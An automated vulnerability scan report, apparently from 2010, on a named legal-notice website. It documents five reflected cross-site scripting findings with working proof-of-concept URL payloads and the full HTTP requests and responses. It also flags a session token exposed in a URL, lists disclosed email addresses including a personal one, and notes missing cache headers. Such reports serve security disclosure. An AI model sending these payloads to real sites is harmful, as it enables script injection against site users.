Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd7db"><img%20src%3da%20onerror%3dalert(1)>18fb73ce629 was submitted in the REST URL parameter 1. This input was echoed as cd7db"><img src=a onerror=alert(1)>18fb73ce629 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /dmca512ccd7db"><img%20src%3da%20onerror%3dalert(1)>18fb73ce629/notice.cgi HTTP/1.1 Host: www.chillingeffects.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 30 Dec 2010 06:43:29 GMT Server: Apache/2.0.54 (Ubuntu) mod_perl/2.0.1 Perl/v5.8.7 Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 www.chillingeffects.org Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML><HEAD> <META name="keywords" content="cease and desist"> <META name="description" content="index of cease and desist notices"> <TI ...[SNIP]... <a href="/dmca512ccd7db"><img src=a onerror=alert(1)>18fb73ce629/notice.cgi?startat=10"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c341"><img%20src%3da%20onerror%3dalert(1)>764ebdc8e4a was submitted in the REST URL parameter 1. This input was echoed as 7c341"><img src=a onerror=alert(1)>764ebdc8e4a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /dmca512c7c341"><img%20src%3da%20onerror%3dalert(1)>764ebdc8e4a/notice.cgi/x26amp HTTP/1.1 Host: www.chillingeffects.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 30 Dec 2010 06:45:20 GMT Server: Apache/2.0.54 (Ubuntu) mod_perl/2.0.1 Perl/v5.8.7 Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 www.chillingeffects.org Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML><HEAD> <META name="keywords" content="cease and desist"> <META name="description" content="index of cease and desist notices"> <TI ...[SNIP]... <a href="/dmca512c7c341"><img src=a onerror=alert(1)>764ebdc8e4a/notice.cgi?startat=10"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 627a7"><img%20src%3da%20onerror%3dalert(1)>e95c8a7a208 was submitted in the REST URL parameter 1. This input was echoed as 627a7"><img src=a onerror=alert(1)>e95c8a7a208 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /dmca512c627a7"><img%20src%3da%20onerror%3dalert(1)>e95c8a7a208/search.cgi HTTP/1.1 Host: www.chillingeffects.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 30 Dec 2010 06:45:57 GMT Server: Apache/2.0.54 (Ubuntu) mod_perl/2.0.1 Perl/v5.8.7 Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 www.chillingeffects.org Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML><HEAD> <META name="keywords" content="search chill"> <META name="description" content="search the Chilling Effects database"> <TIT ...[SNIP]... <form action="/dmca512c627a7"><img src=a onerror=alert(1)>e95c8a7a208/search.cgi" method="POST"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3aec"><img%20src%3da%20onerror%3dalert(1)>15b46808b13 was submitted in the REST URL parameter 1. This input was echoed as d3aec"><img src=a onerror=alert(1)>15b46808b13 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /dmca512cd3aec"><img%20src%3da%20onerror%3dalert(1)>15b46808b13/weather.cgi HTTP/1.1 Host: www.chillingeffects.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 30 Dec 2010 06:43:34 GMT Server: Apache/2.0.54 (Ubuntu) mod_perl/2.0.1 Perl/v5.8.7 Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 www.chillingeffects.org Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML><HEAD> <META name="keywords" content="weather"> <META name="description" content="Weather: Chilling Effects"> <TITLE>Weather Index ...[SNIP]... <a href="/dmca512cd3aec"><img src=a onerror=alert(1)>15b46808b13/weather.cgi?archive=all"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d772"><img%20src%3da%20onerror%3dalert(1)>6dee291d876 was submitted in the REST URL parameter 1. This input was echoed as 7d772"><img src=a onerror=alert(1)>6dee291d876 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /dmca5127d772"><img%20src%3da%20onerror%3dalert(1)>6dee291d876/notice.cgi HTTP/1.1 Host: www.chillingeffects.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 30 Dec 2010 06:44:21 GMT Server: Apache/2.0.54 (Ubuntu) mod_perl/2.0.1 Perl/v5.8.7 Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 www.chillingeffects.org Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML><HEAD> <META name="keywords" content="cease and desist"> <META name="description" content="index of cease and desist notices"> <TI ...[SNIP]... <a href="/dmca5127d772"><img src=a onerror=alert(1)>6dee291d876/notice.cgi?startat=10"> ...[SNIP]...
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /dmca512c/news.cgi HTTP/1.1 Host: www.chillingeffects.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 30 Dec 2010 06:46:07 GMT Server: Apache/2.0.54 (Ubuntu) mod_perl/2.0.1 Perl/v5.8.7 Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 www.chillingeffects.org Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML><HEAD> <META name="keywords" content="DMCA, 512, safe harbor, osp, isp, takedown"> <META name="description" content="DMCA Safe Har ...[SNIP]... <p><a href="http://p2pnet.net/ez/index.php/news/content/view/full/148/?eZSESSIDnews=562a85fc25188">Diebold C&D ruling coming soon</a> ...[SNIP]...
The following email addresses were disclosed in the response:
news@chillingeffects.org
notices@chillingeffects.org
privacy@chillingeffects.org
questions@chillingeffects.org
webmaster@chillingeffects.org
wendy@seltzer.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /about HTTP/1.1 Host: www.chillingeffects.org Proxy-Connection: keep-alive Referer: http://www.chillingeffects.org/index.cgi Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
Cache-control: no-store
Pragma: no-cache
Request
GET /dmca512/notice.cgi HTTP/1.1 Host: www.chillingeffects.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Thu, 30 Dec 2010 06:43:13 GMT Server: Apache/2.0.54 (Ubuntu) mod_perl/2.0.1 Perl/v5.8.7 Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 www.chillingeffects.org Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML><HEAD> <META name="keywords" content="DMCA, 512, safe harbor, osp, isp, takedown"> <META name="description" content="DMCA Safe Har ...[SNIP]...
Report generated by XSS.CX at Thu Dec 30 19:31:10 CST 2010.